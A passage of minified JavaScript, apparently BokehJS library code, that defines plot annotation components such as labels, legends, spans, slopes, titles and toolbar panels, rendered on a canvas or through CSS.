e=null!=this.model.panel?this.model.panel:this.plot_view.frame,i=this.plot_view.frame.xscales[this.model.x_range_name],n=this.plot_view.frame.yscales[this.model.y_range_name],r=\\\"data\\\"==this.model.x_units?i.compute(this.model.x):e.xview.compute(this.model.x),o=\\\"data\\\"==this.model.y_units?n.compute(this.model.y):e.yview.compute(this.model.y);r+=this.model.x_offset,o-=this.model.y_offset;var s=\\\"canvas\\\"==this.model.render_mode?this._canvas_text.bind(this):this._css_text.bind(this);s(this.plot_view.canvas_view.ctx,this.model.text,r,o,t)}},t}(r.TextAnnotationView);i.LabelView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Label\\\",this.prototype.default_view=s,this.mixins([\\\"text\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({x:[o.Number],x_units:[o.SpatialUnits,\\\"data\\\"],y:[o.Number],y_units:[o.SpatialUnits,\\\"data\\\"],text:[o.String],angle:[o.Angle,0],angle_units:[o.AngleUnits,\\\"rad\\\"],x_offset:[o.Number,0],y_offset:[o.Number,0],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({background_fill_color:null,border_line_color:null})},t}(r.TextAnnotation);(i.Label=l).initClass()},function(t,e,i){var n=t(391),r=t(74),o=t(200),u=t(5),s=t(15),a=function(r){function t(){return null!==r&&r.apply(this,arguments)||this}return n.__extends(t,r),t.prototype.initialize=function(t){if(r.prototype.initialize.call(this,t),this.set_data(this.model.source),\\\"css\\\"==this.model.render_mode)for(var e=0,i=this._text.length;e<i;e++){var n=u.div({class:\\\"bk-annotation-child\\\",style:{display:\\\"none\\\"}});this.el.appendChild(n)}},t.prototype.connect_signals=function(){var t=this;r.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?(this.connect(this.model.change,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.streaming,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.patching,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.change,function(){t.set_data(t.model.source),t.render()})):(this.connect(this.model.change,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.streaming,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.patching,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.change,function(){t.set_data(t.model.source),t.plot_view.request_render()}))},t.prototype.set_data=function(t){r.prototype.set_data.call(this,t),this.visuals.warm_cache(t)},t.prototype._map_data=function(){var t=this.plot_view.frame.xscales[this.model.x_range_name],e=this.plot_view.frame.yscales[this.model.y_range_name],i=null!=this.model.panel?this.model.panel:this.plot_view.frame,n=\\\"data\\\"==this.model.x_units?t.v_compute(this._x):i.xview.v_compute(this._x),r=\\\"data\\\"==this.model.y_units?e.v_compute(this._y):i.yview.v_compute(this._y);return[n,r]},t.prototype.render=function(){if(this.model.visible||\\\"css\\\"!=this.model.render_mode||u.hide(this.el),this.model.visible)for(var t=\\\"canvas\\\"==this.model.render_mode?this._v_canvas_text.bind(this):this._v_css_text.bind(this),e=this.plot_view.canvas_view.ctx,i=this._map_data(),n=i[0],r=i[1],o=0,s=this._text.length;o<s;o++)t(e,o,this._text[o],n[o]+this._x_offset[o],r[o]-this._y_offset[o],this._angle[o])},t.prototype._get_size=function(){var t=this.plot_view.canvas_view.ctx;switch(this.visuals.text.set_value(t),this.model.panel.side){case\\\"above\\\":case\\\"below\\\":var e=t.measureText(this._text[0]).ascent;return e;case\\\"left\\\":case\\\"right\\\":var i=t.measureText(this._text[0]).width;return i;default:throw new Error(\\\"unreachable code\\\")}},t.prototype._v_canvas_text=function(t,e,i,n,r,o){this.visuals.text.set_vectorize(t,e);var s=this._calculate_bounding_box_dimensions(t,i);t.save(),t.beginPath(),t.translate(n,r),t.rotate(o),t.rect(s[0],s[1],s[2],s[3]),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_vectorize(t,e),t.fill()),this.visuals.border_line.doit&&(this.visuals.border_line.set_vectorize(t,e),t.stroke()),this.visuals.text.doit&&(this.visuals.text.set_vectorize(t,e),t.fillText(i,0,0)),t.restore()},t.prototype._v_css_text=function(t,e,i,n,r,o){var s=this.el.children[e];s.textContent=i,this.visuals.text.set_vectorize(t,e);var a=this._calculate_bounding_box_dimensions(t,i),l=this.visuals.border_line.line_dash.value(),h=l.length<2?\\\"solid\\\":\\\"dashed\\\";this.visuals.border_line.set_vectorize(t,e),this.visuals.background_fill.set_vectorize(t,e),s.style.position=\\\"absolute\\\",s.style.left=n+a[0]+\\\"px\\\",s.style.top=r+a[1]+\\\"px\\\",s.style.color=\\\"\\\"+this.visuals.text.text_color.value(),s.style.opacity=\\\"\\\"+this.visuals.text.text_alpha.value(),s.style.font=\\\"\\\"+this.visuals.text.font_value(),s.style.lineHeight=\\\"normal\\\",o&&(s.style.transform=\\\"rotate(\\\"+o+\\\"rad)\\\"),this.visuals.background_fill.doit&&(s.style.backgroundColor=\\\"\\\"+this.visuals.background_fill.color_value()),this.visuals.border_line.doit&&(s.style.borderStyle=\\\"\\\"+h,s.style.borderWidth=this.visuals.border_line.line_width.value()+\\\"px\\\",s.style.borderColor=\\\"\\\"+this.visuals.border_line.color_value()),u.show(s)},t}(r.TextAnnotationView);i.LabelSetView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LabelSet\\\",this.prototype.default_view=a,this.mixins([\\\"text\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({x:[s.NumberSpec],y:[s.NumberSpec],x_units:[s.SpatialUnits,\\\"data\\\"],y_units:[s.SpatialUnits,\\\"data\\\"],text:[s.StringSpec,{field:\\\"text\\\"}],angle:[s.AngleSpec,0],x_offset:[s.NumberSpec,{value:0}],y_offset:[s.NumberSpec,{value:0}],source:[s.Instance,function(){return new o.ColumnDataSource}],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.override({background_fill_color:null,border_line_color:null})},t}(r.TextAnnotation);(i.LabelSet=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(15),s=t(19),M=t(41),O=t(24),z=t(21),P=t(32),j=t(44),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.cursor=function(t,e){return\\\"none\\\"==this.model.click_policy?null:\\\"pointer\\\"},Object.defineProperty(t.prototype,\\\"legend_padding\\\",{get:function(){return null!=this.visuals.border_line.line_color.value()?this.model.padding:0},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.item_change,function(){return t.plot_view.request_render()})},t.prototype.compute_legend_bbox=function(){var t=this.model.get_legend_names(),e=this.model,i=e.glyph_height,n=e.glyph_width,r=this.model,o=r.label_height,s=r.label_width;this.max_label_height=z.max([M.get_text_height(this.visuals.label_text.font_value()).height,o,i]);var a=this.plot_view.canvas_view.ctx;a.save(),this.visuals.label_text.set_value(a),this.text_widths={};for(var l=0,h=t;l<h.length;l++){var u=h[l];this.text_widths[u]=z.max([a.measureText(u).width,s])}a.restore();var c,_,p=Math.max(z.max(P.values(this.text_widths)),0),d=this.model.margin,f=this.legend_padding,v=this.model.spacing,m=this.model.label_standoff;if(\\\"vertical\\\"==this.model.orientation)c=t.length*this.max_label_height+Math.max(t.length-1,0)*v+2*f,_=p+n+m+2*f;else{for(var g in _=2*f+Math.max(t.length-1,0)*v,this.text_widths){var y=this.text_widths[g];_+=z.max([y,s])+n+m}c=this.max_label_height+2*f}var b,x,w=null!=this.model.panel?this.model.panel:this.plot_view.frame,k=w.bbox.ranges,S=k[0],C=k[1],T=this.model.location;if(j.isString(T))switch(T){case\\\"top_left\\\":b=S.start+d,x=C.start+d;break;case\\\"top_center\\\":b=(S.end+S.start)/2-_/2,x=C.start+d;break;case\\\"top_right\\\":b=S.end-d-_,x=C.start+d;break;case\\\"bottom_right\\\":b=S.end-d-_,x=C.end-d-c;break;case\\\"bottom_center\\\":b=(S.end+S.start)/2-_/2,x=C.end-d-c;break;case\\\"bottom_left\\\":b=S.start+d,x=C.end-d-c;break;case\\\"center_left\\\":b=S.start+d,x=(C.end+C.start)/2-c/2;break;case\\\"center\\\":b=(S.end+S.start)/2-_/2,x=(C.end+C.start)/2-c/2;break;case\\\"center_right\\\":b=S.end-d-_,x=(C.end+C.start)/2-c/2;break;default:throw new Error(\\\"unreachable code\\\")}else{if(!j.isArray(T)||2!=T.length)throw new Error(\\\"unreachable code\\\");var A=T[0],E=T[1];b=w.xview.compute(A),x=w.yview.compute(E)-c}return{x:b,y:x,width:_,height:c}},t.prototype.interactive_bbox=function(){var t=this.compute_legend_bbox(),e=t.x,i=t.y,n=t.width,r=t.height;return new O.BBox({x:e,y:i,width:n,height:r})},t.prototype.interactive_hit=function(t,e){var i=this.interactive_bbox();return i.contains(t,e)},t.prototype.on_hit=function(t,e){for(var i,n,r,o=this.model.glyph_width,s=this.legend_padding,a=this.model.spacing,l=this.model.label_standoff,h=r=s,u=this.compute_legend_bbox(),c=\\\"vertical\\\"==this.model.orientation,_=0,p=this.model.items;_<p.length;_++)for(var d=p[_],f=d.get_labels_list_from_label_prop(),v=0,m=f;v<m.length;v++){var g=m[v],y=u.x+h,b=u.y+r,x=void 0,w=void 0;c?(i=[u.width-2*s,this.max_label_height],x=i[0],w=i[1]):(n=[this.text_widths[g]+o+l,this.max_label_height],x=n[0],w=n[1]);var k=new O.BBox({x:y,y:b,width:x,height:w});if(k.contains(t,e)){switch(this.model.click_policy){case\\\"hide\\\":for(var S=0,C=d.renderers;S<C.length;S++){var T=C[S];T.visible=!T.visible}break;case\\\"mute\\\":for(var A=0,E=d.renderers;A<E.length;A++){var T=E[A];T.muted=!T.muted}}return!0}c?r+=this.max_label_height+a:h+=this.text_widths[g]+o+l+a}return!1},t.prototype.render=function(){if(this.model.visible&&0!=this.model.items.length){for(var t=0,e=this.model.items;t<e.length;t++){var i=e[t];i.legend=this.model}var n=this.plot_view.canvas_view.ctx,r=this.compute_legend_bbox();n.save(),this._draw_legend_box(n,r),this._draw_legend_items(n,r),n.restore()}},t.prototype._draw_legend_box=function(t,e){t.beginPath(),t.rect(e.x,e.y,e.width,e.height),this.visuals.background_fill.set_value(t),t.fill(),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.stroke())},t.prototype._draw_legend_items=function(y,b){for(var x=this,t=this.model,w=t.glyph_width,k=t.glyph_height,S=this.legend_padding,C=this.model.spacing,T=this.model.label_standoff,A=S,E=S,M=\\\"vertical\\\"==this.model.orientation,e=function(t){var e,i,n=t.get_labels_list_from_label_prop(),r=t.get_field_from_label_prop();if(0==n.length)return\\\"continue\\\";for(var o=function(){switch(x.model.click_policy){case\\\"none\\\":return!0;case\\\"hide\\\":return z.all(t.renderers,function(t){return t.visible});case\\\"mute\\\":return z.all(t.renderers,function(t){return!t.muted})}}(),s=0,a=n;s<a.length;s++){var l=a[s],h=b.x+A,u=b.y+E,c=h+w,_=u+k;M?E+=O.max_label_height+C:A+=O.text_widths[l]+w+T+C,O.visuals.label_text.set_value(y),y.fillText(l,c+T,u+O.max_label_height/2);for(var p=0,d=t.renderers;p<d.length;p++){var f=d[p],v=O.plot_view.renderer_views[f.id];v.draw_legend(y,h,c,u,_,r,l,t.index)}if(!o){var m=void 0,g=void 0;M?(e=[b.width-2*S,O.max_label_height],m=e[0],g=e[1]):(i=[O.text_widths[l]+w+T,O.max_label_height],m=i[0],g=i[1]),y.beginPath(),y.rect(h,u,m,g),O.visuals.inactive_fill.set_value(y),y.fill()}}},O=this,i=0,n=this.model.items;i<n.length;i++){var r=n[i];e(r)}},t.prototype._get_size=function(){var t=this.compute_legend_bbox();switch(this.model.panel.side){case\\\"above\\\":case\\\"below\\\":return t.height+2*this.model.margin;case\\\"left\\\":case\\\"right\\\":return t.width+2*this.model.margin}},t}(r.AnnotationView);i.LegendView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.initialize=function(){e.prototype.initialize.call(this),this.item_change=new s.Signal0(this,\\\"item_change\\\")},t.initClass=function(){this.prototype.type=\\\"Legend\\\",this.prototype.default_view=a,this.mixins([\\\"text:label_\\\",\\\"fill:inactive_\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({orientation:[o.Orientation,\\\"vertical\\\"],location:[o.Any,\\\"top_right\\\"],label_standoff:[o.Number,5],glyph_height:[o.Number,20],glyph_width:[o.Number,20],label_height:[o.Number,20],label_width:[o.Number,20],margin:[o.Number,10],padding:[o.Number,10],spacing:[o.Number,3],items:[o.Array,[]],click_policy:[o.Any,\\\"none\\\"]}),this.override({border_line_color:\\\"#e5e5e5\\\",border_line_alpha:.5,border_line_width:1,background_fill_color:\\\"#ffffff\\\",background_fill_alpha:.95,inactive_fill_color:\\\"white\\\",inactive_fill_alpha:.7,label_text_font_size:\\\"10pt\\\",label_text_baseline:\\\"middle\\\"})},t.prototype.get_legend_names=function(){for(var t=[],e=0,i=this.items;e<i.length;e++){var n=i[e],r=n.get_labels_list_from_label_prop();t.push.apply(t,r)}return t},t}(r.Annotation);(i.Legend=l).initClass()},function(t,e,i){var r=t(391),n=t(59),o=t(201),s=t(47),a=t(15),l=t(14),h=t(21),u=function(n){function t(t){return n.call(this,t)||this}return r.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"LegendItem\\\",this.define({label:[a.StringSpec,null],renderers:[a.Array,[]],index:[a.Number,null]})},t.prototype._check_data_sources_on_renderers=function(){var t=this.get_field_from_label_prop();if(null!=t){if(this.renderers.length<1)return!1;var e=this.renderers[0].data_source;if(null!=e)for(var i=0,n=this.renderers;i<n.length;i++){var r=n[i];if(r.data_source!=e)return!1}}return!0},t.prototype._check_field_label_on_data_source=function(){var t=this.get_field_from_label_prop();if(null!=t){if(this.renderers.length<1)return!1;var e=this.renderers[0].data_source;if(null!=e&&!h.includes(e.columns(),t))return!1}return!0},t.prototype.initialize=function(){var t=this;n.prototype.initialize.call(this),this.legend=null,this.connect(this.change,function(){null!=t.legend&&t.legend.item_change.emit()});var e=this._check_data_sources_on_renderers();e||l.logger.error(\\\"Non matching data sources on legend item renderers\\\");var i=this._check_field_label_on_data_source();i||l.logger.error(\\\"Bad column name on label: \\\"+this.label)},t.prototype.get_field_from_label_prop=function(){var t=this.label;return s.isField(t)?t.field:null},t.prototype.get_labels_list_from_label_prop=function(){if(s.isValue(this.label))return[this.label.value];var t=this.get_field_from_label_prop();if(null!=t){var e=void 0;if(!this.renderers[0]||null==this.renderers[0].data_source)return[\\\"No source found\\\"];if((e=this.renderers[0].data_source)instanceof o.ColumnarDataSource){var i=e.get_column(t);return null!=i?h.uniq(Array.from(i)):[\\\"Invalid field\\\"]}}return[]},t}(n.Model);(i.LegendItem=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(19),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.data_update,function(){return t.plot_view.request_render()})},t.prototype.render=function(){if(this.model.visible){var t=this.model,e=t.xs,i=t.ys;if(e.length==i.length&&!(e.length<3||i.length<3)){for(var n=this.plot_view.frame,r=this.plot_view.canvas_view.ctx,o=0,s=e.length;o<s;o++){var a=void 0;if(\\\"screen\\\"!=this.model.xs_units)throw new Error(\\\"not implemented\\\");a=this.model.screen?e[o]:n.xview.compute(e[o]);var l=void 0;if(\\\"screen\\\"!=this.model.ys_units)throw new Error(\\\"not implemented\\\");l=this.model.screen?i[o]:n.yview.compute(i[o]),0==o?(r.beginPath(),r.moveTo(a,l)):r.lineTo(a,l)}r.closePath(),this.visuals.line.doit&&(this.visuals.line.set_value(r),r.stroke()),this.visuals.fill.doit&&(this.visuals.fill.set_value(r),r.fill())}}},t}(r.AnnotationView);i.PolyAnnotationView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PolyAnnotation\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({xs:[s.Array,[]],xs_units:[s.SpatialUnits,\\\"data\\\"],ys:[s.Array,[]],ys_units:[s.SpatialUnits,\\\"data\\\"],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.internal({screen:[s.Boolean,!1]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.data_update=new o.Signal0(this,\\\"data_update\\\")},t.prototype.update=function(t){var e=t.xs,i=t.ys;this.setv({xs:e,ys:i,screen:!0},{silent:!0}),this.data_update.emit()},t}(r.Annotation);(i.PolyAnnotation=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype.render=function(){this.model.visible&&this._draw_slope()},t.prototype._draw_slope=function(){var t=this.model.gradient,e=this.model.y_intercept;if(null!=t&&null!=e){var i=this.plot_view.frame,n=i.xscales[this.model.x_range_name],r=i.yscales[this.model.y_range_name],o=i._top.value,s=o+i._height.value,a=r.invert(o),l=r.invert(s),h=(a-e)/t,u=(l-e)/t,c=n.compute(h),_=n.compute(u),p=this.plot_view.canvas_view.ctx;p.save(),p.beginPath(),this.visuals.line.set_value(p),p.moveTo(c,o),p.lineTo(_,s),p.stroke(),p.restore()}},t}(r.AnnotationView);i.SlopeView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Slope\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\"]),this.define({gradient:[o.Number,null],y_intercept:[o.Number,null],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({line_color:\\\"black\\\"})},t}(r.Annotation);(i.Slope=a).initClass()},function(t,e,i){var n=t(391),r=t(60),c=t(5),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),this.el.style.position=\\\"absolute\\\",c.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.model.for_hover?this.connect(this.model.properties.computed_location.change,function(){return t._draw_span()}):\\\"canvas\\\"==this.model.render_mode?(this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.properties.location.change,function(){return t.plot_view.request_render()})):(this.connect(this.model.change,function(){return t.render()}),this.connect(this.model.properties.location.change,function(){return t._draw_span()}))},t.prototype.render=function(){this.model.visible||\\\"css\\\"!=this.model.render_mode||c.hide(this.el),this.model.visible&&this._draw_span()},t.prototype._draw_span=function(){var i=this,n=this.model.for_hover?this.model.computed_location:this.model.location;if(null!=n){var t,e,r,o,s=this.plot_view.frame,a=s.xscales[this.model.x_range_name],l=s.yscales[this.model.y_range_name],h=function(t,e){return i.model.for_hover?i.model.computed_location:\\\"data\\\"==i.model.location_units?t.compute(n):e.compute(n)};if(\\\"width\\\"==this.model.dimension?(r=h(l,s.yview),e=s._left.value,o=s._width.value,t=this.model.properties.line_width.value()):(r=s._top.value,e=h(a,s.xview),o=this.model.properties.line_width.value(),t=s._height.value),\\\"css\\\"==this.model.render_mode)this.el.style.top=r+\\\"px\\\",this.el.style.left=e+\\\"px\\\",this.el.style.width=o+\\\"px\\\",this.el.style.height=t+\\\"px\\\",this.el.style.backgroundColor=this.model.properties.line_color.value(),this.el.style.opacity=this.model.properties.line_alpha.value(),c.show(this.el);else if(\\\"canvas\\\"==this.model.render_mode){var u=this.plot_view.canvas_view.ctx;u.save(),u.beginPath(),this.visuals.line.set_value(u),u.moveTo(e,r),\\\"width\\\"==this.model.dimension?u.lineTo(e+o,r):u.lineTo(e,r+t),u.stroke(),u.restore()}}else c.hide(this.el)},t}(r.AnnotationView);i.SpanView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Span\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\"]),this.define({render_mode:[o.RenderMode,\\\"canvas\\\"],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"],location:[o.Number,null],location_units:[o.SpatialUnits,\\\"data\\\"],dimension:[o.Dimension,\\\"width\\\"]}),this.override({line_color:\\\"black\\\"}),this.internal({for_hover:[o.Boolean,!1],computed_location:[o.Number,null]})},t}(r.Annotation);(i.Span=a).initClass()},function(t,e,i){var n=t(391),r=t(60),l=t(5),o=t(15),s=t(41),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),\\\"css\\\"==this.model.render_mode&&(this.el.classList.add(\\\"bk-annotation\\\"),this.plot_view.canvas_overlays.appendChild(this.el))},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?this.connect(this.model.change,function(){return t.render()}):this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype._calculate_text_dimensions=function(t,e){var i=t.measureText(e).width,n=s.get_text_height(this.visuals.text.font_value()).height;return[i,n]},t.prototype._calculate_bounding_box_dimensions=function(t,e){var i,n,r=this._calculate_text_dimensions(t,e),o=r[0],s=r[1];switch(t.textAlign){case\\\"left\\\":i=0;break;case\\\"center\\\":i=-o/2;break;case\\\"right\\\":i=-o;break;default:throw new Error(\\\"unreachable code\\\")}switch(t.textBaseline){case\\\"top\\\":n=0;break;case\\\"middle\\\":n=-.5*s;break;case\\\"bottom\\\":n=-1*s;break;case\\\"alphabetic\\\":n=-.8*s;break;case\\\"hanging\\\":n=-.17*s;break;case\\\"ideographic\\\":n=-.83*s;break;default:throw new Error(\\\"unreachable code\\\")}return[i,n,o,s]},t.prototype._canvas_text=function(t,e,i,n,r){this.visuals.text.set_value(t);var o=this._calculate_bounding_box_dimensions(t,e);t.save(),t.beginPath(),t.translate(i,n),r&&t.rotate(r),t.rect(o[0],o[1],o[2],o[3]),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fill()),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.stroke()),this.visuals.text.doit&&(this.visuals.text.set_value(t),t.fillText(e,0,0)),t.restore()},t.prototype._css_text=function(t,e,i,n,r){l.hide(this.el),this.visuals.text.set_value(t);var o=this._calculate_bounding_box_dimensions(t,e),s=this.visuals.border_line.line_dash.value(),a=s.length<2?\\\"solid\\\":\\\"dashed\\\";this.visuals.border_line.set_value(t),this.visuals.background_fill.set_value(t),this.el.style.position=\\\"absolute\\\",this.el.style.left=i+o[0]+\\\"px\\\",this.el.style.top=n+o[1]+\\\"px\\\",this.el.style.color=\\\"\\\"+this.visuals.text.text_color.value(),this.el.style.opacity=\\\"\\\"+this.visuals.text.text_alpha.value(),this.el.style.font=\\\"\\\"+this.visuals.text.font_value(),this.el.style.lineHeight=\\\"normal\\\",r&&(this.el.style.transform=\\\"rotate(\\\"+r+\\\"rad)\\\"),this.visuals.background_fill.doit&&(this.el.style.backgroundColor=\\\"\\\"+this.visuals.background_fill.color_value()),this.visuals.border_line.doit&&(this.el.style.borderStyle=\\\"\\\"+a,this.el.style.borderWidth=this.visuals.border_line.line_width.value()+\\\"px\\\",this.el.style.borderColor=\\\"\\\"+this.visuals.border_line.color_value()),this.el.textContent=e,l.show(this.el)},t}(r.AnnotationView);i.TextAnnotationView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextAnnotation\\\",this.define({render_mode:[o.RenderMode,\\\"canvas\\\"]})},t}(r.Annotation);(i.TextAnnotation=h).initClass()},function(t,e,i){var n=t(391),r=t(74),s=t(5),o=t(15),a=t(49),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.visuals.text=new a.Text(this.model)},t.prototype._get_location=function(){var t,e,i=this.model.panel,n=this.model.offset;switch(i.side){case\\\"above\\\":case\\\"below\\\":switch(this.model.vertical_align){case\\\"top\\\":e=i._top.value+5;break;case\\\"middle\\\":e=i._vcenter.value;break;case\\\"bottom\\\":e=i._bottom.value-5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":t=i._left.value+n;break;case\\\"center\\\":t=i._hcenter.value;break;case\\\"right\\\":t=i._right.value-n;break;default:throw new Error(\\\"unreachable code\\\")}break;case\\\"left\\\":switch(this.model.vertical_align){case\\\"top\\\":t=i._left.value-5;break;case\\\"middle\\\":t=i._hcenter.value;break;case\\\"bottom\\\":t=i._right.value+5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":e=i._bottom.value-n;break;case\\\"center\\\":e=i._vcenter.value;break;case\\\"right\\\":e=i._top.value+n;break;default:throw new Error(\\\"unreachable code\\\")}break;case\\\"right\\\":switch(this.model.vertical_align){case\\\"top\\\":t=i._right.value-5;break;case\\\"middle\\\":t=i._hcenter.value;break;case\\\"bottom\\\":t=i._left.value+5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":e=i._top.value+n;break;case\\\"center\\\":e=i._vcenter.value;break;case\\\"right\\\":e=i._bottom.value-n;break;default:throw new Error(\\\"unreachable code\\\")}break;default:throw new Error(\\\"unreachable code\\\")}return[t,e]},t.prototype.render=function(){if(this.model.visible){var t=this.model.text;if(null!=t&&0!=t.length){this.model.text_baseline=this.model.vertical_align,this.model.text_align=this.model.align;var e=this._get_location(),i=e[0],n=e[1],r=this.model.panel.get_label_angle_heuristic(\\\"parallel\\\"),o=\\\"canvas\\\"==this.model.render_mode?this._canvas_text.bind(this):this._css_text.bind(this);o(this.plot_view.canvas_view.ctx,t,i,n,r)}}else\\\"css\\\"==this.model.render_mode&&s.hide(this.el)},t.prototype._get_size=function(){var t=this.model.text;if(null==t||0==t.length)return 0;var e=this.plot_view.canvas_view.ctx;return this.visuals.text.set_value(e),e.measureText(t).ascent+10},t}(r.TextAnnotationView);i.TitleView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Title\\\",this.prototype.default_view=l,this.mixins([\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({text:[o.String],text_font:[o.Font,\\\"helvetica\\\"],text_font_size:[o.FontSizeSpec,\\\"10pt\\\"],text_font_style:[o.FontStyle,\\\"bold\\\"],text_color:[o.ColorSpec,\\\"#444444\\\"],text_alpha:[o.NumberSpec,1],vertical_align:[o.VerticalAlign,\\\"bottom\\\"],align:[o.TextAlign,\\\"left\\\"],offset:[o.Number,0]}),this.override({background_fill_color:null,border_line_color:null}),this.internal({text_align:[o.TextAlign,\\\"left\\\"],text_baseline:[o.TextBaseline,\\\"bottom\\\"]})},t}(r.TextAnnotation);(i.Title=h).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(4),s=t(5),a=t(15),l=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){i.prototype.initialize.call(this,t),this.plot_view.canvas_events.appendChild(this.el),this._toolbar_views={},o.build_views(this._toolbar_views,[this.model.toolbar],{parent:this});var e=this._toolbar_views[this.model.toolbar.id];this.plot_view.visibility_callbacks.push(function(t){return e.set_visibility(t)})},t.prototype.remove=function(){o.remove_views(this._toolbar_views),i.prototype.remove.call(this)},t.prototype.render=function(){if(i.prototype.render.call(this),this.model.visible){var t=this.model.panel;this.el.style.position=\\\"absolute\\\",this.el.style.left=t._left.value+\\\"px\\\",this.el.style.top=t._top.value+\\\"px\\\",this.el.style.width=t._width.value+\\\"px\\\",this.el.style.height=t._height.value+\\\"px\\\",this.el.style.overflow=\\\"hidden\\\";var e=this._toolbar_views[this.model.toolbar.id];e.render(),s.empty(this.el),this.el.appendChild(e.el),s.show(this.el)}else s.hide(this.el)},t.prototype._get_size=function(){return 30},t}(r.AnnotationView);i.ToolbarPanelView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarPanel\\\",this.prototype.default_view=l,this.define({toolbar:[a.Instance]})},t}(r.Annotation);(i.ToolbarPanel=h).initClass()},function(t,e,i){var n=t(391),r=t(60),f=t(5),o=t(15);function v(t,e,i,n,r){var o;switch(t){case\\\"horizontal\\\":o=e<n?\\\"right\\\":\\\"left\\\";break;case\\\"vertical\\\":o=i<r?\\\"below\\\":\\\"above\\\";break;default:o=t}return o}i.compute_side=v;var s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),f.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.data.change,function(){return t._draw_tips()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-tooltip\\\")},t.prototype.render=function(){this.model.visible&&this._draw_tips()},t.prototype._draw_tips=function(){var 